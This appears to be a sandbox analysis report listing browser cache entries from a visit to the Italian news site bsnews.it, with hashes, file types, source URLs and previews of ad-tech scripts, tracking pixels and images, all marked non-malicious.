Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 934

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072977&val=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 935

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	943
Entropy (8bit):	5.1963848508448764
Encrypted:	false
SSDEEP:	24:YsfGdlt5tpjJu6/8uoRKHR/Dku9seeWopvfUabPjlbI+gqY:YsedZtpraRKx/DBsCoxfUab5bdgqY
MD5:	6CB309949C8081C57ACB1144CD582DD5
SHA1:	26F49236CFC641E9A8328222D7691FE9A1B2042D
SHA-256:	2C5D91C4DE061A01211FE8858F9D3DCCD268B24411C102B70C28979E30091BFD
SHA-512:	3CBE049DB3FF9292F4E50942D7427A5ACD2CEAA052B972C36E6BD4563B81E3860F9C86040A9D10E7F58EA9F77CDFB8C6C1EE82ADD4991765C291ED0CF60C0B6D
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/cdn/prod/config?src=3627&u=https%3A%2F%2Fbsnews.it
Preview:	{"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;if (!window.PublisherCommonId) {\n var pubcommonScript = document.createElement('script');\n pubcommonScript.src = '//secure.cdn.fastclick.net/js/pubcid/latest/pubcid.min.js';\n document.head.appendChild(pubcommonScript);\n};var id5PropertyId = '1161';\nif (id5PropertyId && id5PropertyId.charAt(0) !== '%') {\n var id5Script = document.createElement('script');\n id5Script.src = '//cdn.id5-sync.com/api/1.0/id5-api.js';\n id5Script['onload'] = function(e) { \n ID5.init({ partnerId: Number(id5PropertyId) , provider: 'aps' })\n };\n document.head.appendChild(id5Script);\n}","3pmetadata":"[{\"propertyId\":\"13376\",\"vendorId\":\"liveRamp\",\"sourceId\":\"3627\"},{\"propertyId\":null,\"vendorId\":\"pubcommon\",\"sourceId\":\"3627\"},{\"propertyId\":\"1161\",\"vendorId\":\"id5\",\"sourceId\":\"3627\"}]","3psamplerate":5}

Chrome Cache Entry: 936

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	55
Entropy (8bit):	3.68118198617326
Encrypted:	false
SSDEEP:	3:qVZxgROMCXbZ6U0Hacz:qzxUpCX96v3z
MD5:	656D408E84FEEBB88E950B10EFB49503
SHA1:	3A6E047D24C8ACE7D3F04AB66E4D914E31B0ACE9
SHA-256:	74B03851B17506833B0506EB8292BD9842E5B32AAACCB1B5553FA967B65DB792
SHA-512:	6A63FA64E872977EC921B73B27CD028471F6B753D6F7DF3783ECA4FE34188EBF62E2FE3243BA4A30BF629AC281F65BD161E110174FA8B0D4023EFACCF4F3C450
Malicious:	false
Reputation:	low
URL:	https://rtb.gumgum.com/usync/15581?r=https%3A%2F%2Fsync.e-planning.net%2Fum%3Fdc%3D1a6b1d3b3872943b%26fi%3Db908337b94350305%26uid%3D
Preview:	<html><head><title></title></head><body>.</body></html>

Chrome Cache Entry: 937

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	12462
Entropy (8bit):	7.9838509536169004
Encrypted:	false
SSDEEP:	384:xg9JsZHbJ89mMgKhsmmncvkYgpyAJ2CvGI:xgeHbJ89R8fYgpPbGI
MD5:	86C04498FEBE485D386068C5006C97E2
SHA1:	C286AD6879E9676D844BAF148068B535906A7932
SHA-256:	7E2C3AD98EA80D7A4C30C15595AB1E67B9B79FFA2E70F25152815B9D217FFF62
SHA-512:	6F3AE885584BBAF2FA575551B9B3E1FB391719AB0155BC0E6253A13A4253F67C7EA794BFE26E298DD5E7190BB1D6023CFF353B7A103C6DDA20C202D917786310
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.0..WEBPVP8 .0.......D...>m..F."..+t\|...e<4.."\|...z......2.h...O.........._.v..m.7..V~+.7..U.i....\|.....[.?..I{.....;v6.............y.....`?2\|.~..O.'.g.......yW...W..L.Ipct.#......E..5.r......J'Zx.p8...d.)..e....oi.l...p.Ki.Q.<1)...X..?....z.:..h.,.....~.........Z....m..ni...Ox..o"x#.Z..8W..)<9C.....Z.4..?^).}....&+}?.&.........\...(.1.....................z........ .'rh.,...Y..z.....E..=...W....7....F...3.34\.W..6..].......l....=..."U.+.m.`..9..<;.I.5..)..D..g...........J...0'/%....9........q...T.\|>_......a.w..D...i"..t^(........p.."..JZ.+A.p..h...^.R.F(.o`.0.oo['....0(.p%d%....{I.p.......r.;......;..t.....l>..5.8.K._.^...E.H.._w_....^.b.b.. ....-&..N.n...I1....T.hO...L.e..w.....o.^....x...... ._..BGF.&.#j..!..P.GnF*.C`......DpKx)Gu..R.8....Z^.T.><..E.'J...le+>Ui.%.'[;...F..... .L.V.F...$7.{.I....Ba.{l.m....n....8g.y-.5..1...."Y.e..-.F..Tt.......Z.#U...$vU......v.....H.2....f`...]Ln.W...L...\....d...7.....).F.J[..W..r..... .

Chrome Cache Entry: 938

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?dc=be1f3f8d2283c058&fi=b908337b94350305&uid=fc604fa0-47e3-40c7-9e7d-8343c1784b60
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 939

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (965)
Category:	downloaded
Size (bytes):	1004
Entropy (8bit):	5.432738763251946
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTyzXh6vEFM+sBntvwCCZV9UktTuRXKr5c:c2Yz8TGYviMnhYJtTuRXEc
MD5:	B7A529553AE94037C79D21E313CBE7FC
SHA1:	C5BE5978E1F6DDD951B77614A1692590C3BAB2BB
SHA-256:	F20B87F6A855B88C63AA710ACD4E746DDBB54EC4E84DDE526FCFAA176F07A108
SHA-512:	ECEF895C44E0F051510A0B8FE5940A186F71684EF53A48F615265EF7C33155F6346E18161F35B33064E97BDA00973CC05D3E86A815E3EF12A0225D2F3B4E29B3
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Videology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=thetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://sync.tidaltv.com/GenericUserSync.ashx?dpid=595&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></V

Chrome Cache Entry: 940

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=&gdprConsent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 941

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9163)
Category:	downloaded
Size (bytes):	9204
Entropy (8bit):	5.2146464551677285
Encrypted:	false
SSDEEP:	96:/AQnBVFrK3RJ1oauMhLBiobXf1JqZ8zZDV81uZIJqEKIZft4JqxCYZX7+Aroq3Ic:oZNoqhtig1XzZZWuZIUsft40pTrUc
MD5:	A87C48D211877C49B878679B2E3CDAB8
SHA1:	E75653DD0156806682E39ABE8B1323ED40D840CA
SHA-256:	4191D89EC03BCE5DC273716075335E31851031184B0FFF0AB9FC900A8442019F
SHA-512:	82B86AD20101588BE6EA4FA557920144692118665C4B1BBE7742AC293F3326872297ADC5C0724E5E47639586471BDBBB7EFF090A68FDCD00EBF57F99D6448EFB
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalSDK.js
Preview:	!function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:o})},n.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=8)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalStub=void 0;var o=function(){function e(t){var n=this;this.VERSION=Number(151605),this.log={setLevel:function(e){n.currentLogLevel=e}},this.setupStubFunctions(e.FUNCTION_LIST_TO_STUB,this.stubFunction,t),this.setupStubFunctions(e.FUNCTION_LIST_WITH_PROMISE_TO_STUB,this.stubPromiseFunction,t)}return e.prototype.setupStubFunctions=function(e,t,n){for(var o=this,r=function(e){if(n.ind

Chrome Cache Entry: 942

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	3.8374537353638263
Encrypted:	false
SSDEEP:	3:YPxXdgn2VAhrrVXZVIkx7f+0JHJjLTDobNaaaaaaaaaaaaaaxaaaaxzfyG3MtE5q:YP5anfNr1Zi47fxHjzozz/iJ8DAx3r3
MD5:	02735F6AD8FA10A748A1F836782CBC60
SHA1:	E3916D933036C1ED2B076273E396BF2375B9328E
SHA-256:	5CFE5EFCC35050C4489A3BBF1F129AB5BB5B5CBE8711197444574BC742D58510
SHA-512:	109AA4C7442A4F91118666C36F35FAE9AA20192FA96CEA3B35060BA29F43F7F827569DA78AFB9473D7F9F04C3322A1004E547ABF7528E652D36F3F7FF8EF5083
Malicious:	false
Reputation:	low
Preview:	{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",0,null,null,0,250,300,1,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGslXqzWxZnMwa10HhsoG5C0a","CM_Fj5LKloUDFbomigMdNtUGRQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"2",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}..

Chrome Cache Entry: 943

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	113367
Entropy (8bit):	5.642379254027279
Encrypted:	false
SSDEEP:	768:CoPBp4WwXmRk8p2lO1wuH2P+TB9vOTjGnfQIMBivSY/Z6IX6PUXdTB9vOCgTmK/x:zIBQ1uA5rnfQHWrjX6PUX358mKl5R
MD5:	84F15F1C026094633FEED2D29BC9D671
SHA1:	C4D6B023D1A83E9A3EB1B15EB80C39B3772BC000
SHA-256:	C97FF8F86CDFF493EB0481E1A6E9D6B39BB5733387400F373C77A471A618AF3E
SHA-512:	B3344FF21F19E686E525CE4BF9BC20499080E19ABF1B67BF86947DE8141EFF8536747E52D8CA8A2B60045CE902F8C1D44374BA215AF729DC9EBE83ED9F6A2804
Malicious:	false
Reputation:	low
URL:	https://mv.outbrain.com/Multivac/api/get?url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&srcUrl=https%3A%2F%2Fbsnews.it%2Ffeed%2F&idx=0&rand=66315&widgetJSId=AR_3&va=true&et=true&format=html&px=97&py=2661&vpd=1754&cw=696&settings=true&recs=true&key=NANOWDGT01&tch=0&adblck=false&abwl=false&ab=0&wl=0&obRecsAbtestVars=1451:5136&activeTab=true&cha=x86&chb=64&chfv=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.132%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.132%22%7D%5D&chpv=10.0.0&chp=Windows&version=2010731&sig=iQCzG1Ea&apv=false&osLang=en-US&winW=1263&winH=907&scrW=1280&scrH=1024&dpr=1&secured=true&cmpStat=0&ccpaStat=0&chs=1&ogn=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F
Preview:	OBR.extern.returnedHtmlAndVacData({"odbResponse":{"response":{"html":"\u003cdiv class\u003d\"ob-widget ob-feed-layout AR_3\"\u003e\n \u003cstyle type\u003d\"text/css\"\u003e\n \n .AR_3 .ob_what a:after {content: \"\";;;background-image: url(\u0027https://widgets.outbrain.com/images/widgetIcons/achoice.svg\u0027);background-size:100% 100%;width:12px;height:12px;padding-left:4px; display:inline-block;background-repeat:no-repeat;background-position:right center;border-left:1px solid #999; }\n .AR_3.ob-widget .ob_what{direction:ltr;clear:both;padding:5px 10px 0px;}\n.AR_3.ob-widget .ob_what a{color:#757575;font-size:11px;font-family:arial;text-decoration: none;}\n.AR_3.ob-widget .ob_what.ob-hover:hover a{text-decoration: underline;}\n.AR_3.ob-widget .ob_amelia,\n.AR_3.ob-widget .ob_amelia_covid,\n.AR_3.ob-widget .ob_logo,\n.AR_3.ob-widget .ob_feed_logo,\n.AR_3.ob-widget .ob_sfeed_logo,\n.AR_3.ob-widget .ob_text_logo{vertical-align:baseline !important;display:inl

Chrome Cache Entry: 944

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4658), with no line terminators
Category:	downloaded
Size (bytes):	4658
Entropy (8bit):	5.3715525587583315
Encrypted:	false
SSDEEP:	48:k46I0VLhg/ikqIqYcoq5xjIq3I/l2Gy9nSUjWyK:XR/JqIqLoqP8qYMGyxSUjm
MD5:	6FCF6592B806E6EDB125F3083DB80E12
SHA1:	AD3BAFA9C82CE31B3378426739FC5932FA870CB8
SHA-256:	E5FB2A3FF2205062DED9EAF57FC38D87302F0C2B63DABD46B67E95C9F428A122
SHA-512:	6F006B637073DBE4B2B3131E3D7D76C4D9FAF1A9259E77B542EBCB2BD2733710C0C9CDE6A5A3D06AC0606DC8E3EB358D18CF1F6B91F67890A14900E38F6CAA6E
Malicious:	false
Reputation:	low
URL:	https://cs-rtb.minutemedia-prebid.com/sync-iframe?gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&redirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D348%26uid%3D%7BpartnerId%7D
Preview:	<html><head><title></title></head><body><img src="https://eb2.3lift.com/getuid?cmp_cs=&gdpr=0&ismms2s=1&redir=https%3A%2F%2Fcs-rtb.minutemedia-prebid.com%2Fcs%3Faid%3D21480%26rid%3DhVbEQD5-kp_mm%26id%3D%24UID" style="display:none;"/><iframe src="https://onetag-sys.com/usync/?ismms2s=1&pubId=765b4e6bb9c8438" style="display:none;"></iframe><img src="https://rtb.mfadsrvr.com/sync?ismms2s=1&ssp=minutemedia" style="display:none;"/><img src="https://sync.1rx.io/usersync2/rmpssp?ismms2s=1&sub=sportority" style="display:none;"/><img src="https://b1sync.zemanta.com/usersync/minutemedia/?cb=https%3A%2F%2Fcs-rtb.minutemedia-prebid.com%2Fcs%3Faid%3D21515%26uid%3D__ZUID__&ismms2s=1" style="display:none;"/><iframe src="https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?endpoint=us-east&ismms2s=1&p=minute_media" style="display:none;"></iframe><img src="https://cs.admanmedia.com/sync/minute_media?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ismms2s=1&redir=https%3A%2F%2Fcs-rtb.minu

Chrome Cache Entry: 945

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	4658
Entropy (8bit):	7.9562180531185565
Encrypted:	false
SSDEEP:	96:UiFjQ0+5iyVBZvPd+McOEZFyreWGyC8WhTuM+V1wh4iHt+ci+3:UKQliY5SOgPWGyC8WhSM+Pwh4stbi+3
MD5:	1ABA9A3304CBA9E46E65ADFA880E0B5C
SHA1:	200F10505E83E215CF37C45545DBE9D06D1B629E
SHA-256:	C234463A8E077A71C8CBC22BECA785BE61F6E36F65901A7DBF090CA249E28142
SHA-512:	8C8FF795835A99098DBC98FA50ADB95C6201BCF4D4FCE3BFB7E7B1BA81E33E6247E890E261AA1B94890AFE7DD6E3BC61A0F970EC4B0FBEA0B83EBFE7A8E1A0E2
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg?resize=324%2C160&ssl=1
Preview:	RIFF...WEBPVP8 ....pg...D...>m2.G$#"%(.....em_0;...g.4.....f........t.P...!oLS......e..0..D>S.b.Y.&(#b'.xc.../...I...ZP.).PNf....GQ.(A..%{[.....T&...d.[{.i...[{...s&.k...(.;.Of..[.j............z..c....^^.I.........PY<.=..~...3..J.T..yF..'b..`..}_........I +.d......Tf.Lv.L.f....]..]O;.....!.....SL..%d.s..%........;..b......Y....."d....C...~.....?..,a....+.....A..R..T....2E/E.x...q0...s..3fh..~u!8...t.Z.U....i$.j...Ga.X.!.Z..h..e......N>.He.K..vP...C.....?....ud0H.od.w......=..kq..:0....1..p.....B......."A\|.E_...-\C.&.Mrj-...-..=l1..B..M..W1...B.g.g..0c...g...F\.(Gn.V..?..Be..p....!{]7}.8.M.m..d.....4..M`...v.Q..!.......v....Q..J....Y...v.r<..!;.!x..u.8...&x.D}FvY..'.1F..Q4.f..%.....Z.J....<...r..[.dX.g......G..W..E.........h....a.....a(o.r'..2.......e..v.{...?f.6B9..]..y...o..aF/....g..n.'UJg........O..=A.&d....:l+8......&.t.G....M.....d....?...5.}?..&.....X../.\../.X-..{..`p.M.,A6...1..HS.%.3_s`;.?..C.... .!;.. a..eP..O...y.......^

Chrome Cache Entry: 946

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49614), with no line terminators
Category:	downloaded
Size (bytes):	49614
Entropy (8bit):	5.2703097075400835
Encrypted:	false
SSDEEP:	384:3P8RpA7Kh2sCPvthaGqxcv4Mpg7ZIxJzpbTxGkkk4JoaXUcnxfQpRX0uXbpuYF7f:spJrCzaGqK5g7ZIZb1DsXmtBKKyoOa
MD5:	00FF8001302D3748BA139466FC3910C1
SHA1:	8210E702FE525E6CDDC84758EC51E96A4D703186
SHA-256:	EB4DB95CF7C97CE22BD98D1B95DFD82204843CC8854CBE0B3B6B93BE4FA41A2F
SHA-512:	4005E40F94AB0CAB5968F759C0C3F2B25881439121ED9FDB8E4C7C9E652EE5F8652D64744D34AAA1F01AAE0663A9D4F78C394140F2B661C04AD9A4E01D8D551D
Malicious:	false
Reputation:	low
URL:	https://static.smilewanted.com/js/decode_consent/decode_consent.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.sw_consent=t():e.sw_consent=t()}(self,(function(){return(()=>{"use strict";var e={186:function(e,t){var n=this&&this.__values\|\|function(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")};Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(){}return e.prototype.clone=function(){var e=this,t=new this.constructor;return Object.keys(this).forEach((function(n){var r=e.deepClone(e[n]);void 0!==r&&(t[n]=r)})),t},e.prototype.deepClone=function(e){var t,r,o=typeof e;if("number"===o\|\|"string"===o\|\|"boolean"===o)return e;if(null!==e&&"object"===o){if("function"==typeof e.cl

Chrome Cache Entry: 947

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?cid=y-0ubwtdlE2opVqYkiOjyHq.r4qFQDWpZcbA--~A&zpartnerid=570&env=mWeb
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 948

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1312), with no line terminators
Category:	downloaded
Size (bytes):	1312
Entropy (8bit):	5.077652644456824
Encrypted:	false
SSDEEP:	24:eK20kIK3ZPIuwGaq2TFDnZVG9rcQdXKW8NBoUCe1AeMvHS4Prl3E7Zef7d1Ri9xQ:e0CZwGaTGiQd6lcUCHbbPB3E7Zef7d1L
MD5:	3683AFE21BA157CB1ECEE5694B59E7F9
SHA1:	CCD4824AD71AA99439C355D0955A7781936E6B6C
SHA-256:	B9ADF954721F5B63C128C70CA07EE341BA97BAAF7F6061F694AC173CFDAFEA67
SHA-512:	86690521DFAD4BAC3CDBFB841FAE1461BF7C648FEC77031CA75BCB3FBE5630804FE765E957591DBA11B950EEE4D474C9FF95DD76D0F4D00025F5061733C19CC2
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdToTop.js?ver=12.6.5
Preview:	var tdToTop={};jQuery().ready(function(){tdToTop.init()});(function(){tdToTop={$element:void 0,style:"",init:function(){var a=jQuery(".td-scroll-up");a.length&&(tdToTop.$element=a,tdToTop.style="undefined"!==typeof a.data("style")?a.data("style"):"style1",a.on("click",function(a){return tdToTop.handle_click_event(a)}))},td_events_scroll:function(a){if("undefined"!==typeof tdToTop.$element)switch(400<a?tdToTop.$element.hasClass("td-scroll-up-visible")\|\|tdToTop.$element.addClass("td-scroll-up-visible"):tdToTop.$element.hasClass("td-scroll-up-visible")&&tdToTop.$element.removeClass("td-scroll-up-visible"),tdToTop.style){case "style2":var c=tdToTop.$element.find(".td-scroll-up-progress-circle path"),b=c.get(0).getTotalLength(),d=jQuery(document).height()-jQuery(window).height();a=b-a*b/d;b=jQuery(".td-footer-template-wrap");c.css({"stroke-dashoffset":a});tdUtil.isInViewport(b)?tdToTop.$element.css({position:"absolute",bottom:b.outerHeight()+4}):tdToTop.$element.css({position:"fixed",bottom

Chrome Cache Entry: 949

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 350x200, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	16086
Entropy (8bit):	7.9885277496219205
Encrypted:	false
SSDEEP:	384:H5Xmd8Q52bBgwWqn/J9SBiW0te2UAXbcnL+zVEkW:HI152b8qbdtenQAyz6X
MD5:	FE7410E4E86F7F62D7B0E6FB5410B217
SHA1:	94EA490177E0E41749E17487CB8345344C94B149
